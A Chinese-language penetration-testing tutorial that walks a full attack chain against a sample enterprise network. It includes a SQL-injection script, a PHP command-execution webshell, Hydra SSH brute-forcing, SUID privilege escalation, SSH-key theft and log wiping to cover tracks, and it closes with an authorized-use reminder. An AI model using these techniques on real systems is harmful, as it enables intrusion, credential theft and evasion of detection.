一、从目标系统架构开始
在渗透测试中,了解目标系统的架构是整个攻击链的起点。任何攻击都从信息收集开始,目标系统的技术栈、网络结构和关键服务是攻击者的第一手资料。
假设我们的目标是一套典型的企业内部网络,包含以下架构:
- Web服务器:运行 Apache + PHP,既有外网暴露的部分,也有内网应用。
- 数据库服务器:MySQL,内网访问,存储用户数据。
- 域控服务器:运行 Active Directory,负责权限管理。
- 内部邮件服务器:Exchange Server。
- 文件共享服务器:运行 SMB。
攻击者会从外部暴露服务入手,通过漏洞、弱口令或社工铓鱼,逐步深入内网。一旦进入内网,横向移动和权限提升是攻破核心的关键。
二、信息收集:打好基础
信息收集是渗透测试的第一步,也是最重要的一步。我们需要尽可能多地了解目标的公开信息,包括域名、子域名、IP地址、开放端口和服务。
工具推荐
- Nmap:经典端口扫描工具,支持服务版本探测。
- Sublist3r:子域名枚举工具,可结合多个被动源。
- Shodan:互联网设备搜索引擎,可以发现目标暴露的服务。
- theHarvester:电子邮件、子域名、IP的枚举工具。
实战步骤
假设目标公司域名是 example.com,我们可以通过以下步骤进行信息收集:
1. 使用 Sublist3r 枚举子域名
<pre><code class="language-bash"># 枚举目标域名的子域名 sublist3r -d example.com -o subdomains.txt</code></pre>
生成的 subdomains.txt 可能包含以下内容: <pre><code>www.example.com mail.example.com admin.example.com vpn.example.com</code></pre>
2. 使用 Nmap 扫描端口
<pre><code class="language-bash"># 快速扫描目标域名的开放端口 nmap -Pn -p 1-65535 -T4 -oN nmap_scan.txt www.example.com</code></pre>
结果: <pre><code>PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 443/tcp open https</code></pre>
3. 利用 Shodan 搜索公开服务
<pre><code class="language-bash"># 搜索目标域名的暴露服务 shodan search "example.com"</code></pre>

数据分析
结合以上工具收集的数据,攻击者可以确定外部暴露的服务,选择合适的攻击入口。例如,发现目标暴露的 VPN、SSH 和 Web 服务,可以尝试漏洞利用或凭证爆破。
三、漏洞利用:进入系统的大门
目标服务器暴露了 Web 服务和 SSH。我们将通过以下两种方式尝试进入系统。
方法一:Web服务漏洞利用
漏洞原理
目标网站运行的是 Apache + PHP,很可能存在常见漏洞,例如:
- SQL注入:通过输入恶意 SQL 语句,控制数据库。
- 文件上传:利用上传功能,上传 Webshell。

POC代码:SQL注入
<pre><code class="language-python">import requests
目标 URL
url = "http://www.example.com/login.php"
注入语句
payload = "' OR 1=1--"
构造请求
data = { "username": payload, "password": "random" }

发送请求
response = requests.post(url, data=data)
检查响应
if "Welcome" in response.text: print("[+] SQL注入成功") else: print("[-] SQL注入失败")</code></pre>
文件上传攻击
<pre><code class="language-php"><?php
Webshell 示例
if(isset($_GET['cmd'])){ echo "<pre>"; system($_GET['cmd']); echo "</pre>"; } ?></code></pre> 将此 Webshell 上传到目标服务器,然后通过浏览器访问: <pre><code>http://www.example.com/uploads/shell.php?cmd=whoami</code></pre>
方法二:SSH凭证爆破
工具使用
使用 Hydra 进行 SSH爆破: <pre><code class="language-bash">hydra -l admin -P passwords.txt ssh://www.example.com</code></pre> Hydra 会尝试字典中的每个密码,直到成功登录。
四、权限提升与横向移动
进入目标系统后,大概率是普通用户权限。接下来需要提升权限并横向移动到更多系统。
权限提升
在 Linux 服务器中,常见权限提升方式包括:
- SUID提权:查找可执行的 SUID 程序。
- 内核漏洞利用:利用过时的 Linux 内核漏洞。
- 弱配置提权:检查
/etc/passwd或.bashrc文件。
SUID提权代码
<pre><code class="language-bash"># 查找 SUID 文件 find / -perm -4000 2>/dev/null
利用 SUID 提权
/usr/sbin/vulnerable_binary</code></pre>
横向移动
通过敏感文件或凭证窃取,访问更多系统:
- 通过 SSH移动:窃取
.ssh/id_rsa文件。 - 通过数据库移动:获取其他服务器 IP。
五、痕迹清除:让攻击隐匿无踪
为了避免被追踪,攻击者通常会清理痕迹:
- 删除日志文件:
/var/log/auth.log。 - 隐藏 Webshell:修改文件名或路径。
- 流量伪装:使用 HTTPS 或加密隧道隐藏通信。
清除日志的代码示例
<pre><code class="language-bash"># 清空日志文件 echo "" > /var/log/auth.log</code></pre>
六、个人经验:渗透测试中的小技巧
在渗透测试中,工具和技术只是基础,实战经验更重要。以下是一些个人总结的技巧:
- 常见输入点的发现:登录页面、搜索框、上传功能。
- 定制 Payload:针对目标系统构造专属的攻击代码。
- 利用社工技巧:结合物理攻击,如 USB植入。
- 动态分析:遇到防护措施时,使用沙箱或虚拟环境测试绕过方法。
通过以上渗透测试技术,你可以构建完整的攻击链,从信息收集到入侵目标,再到权限提升与横向移动。请牢记,所有技术仅用于授权测试,严禁非法用途!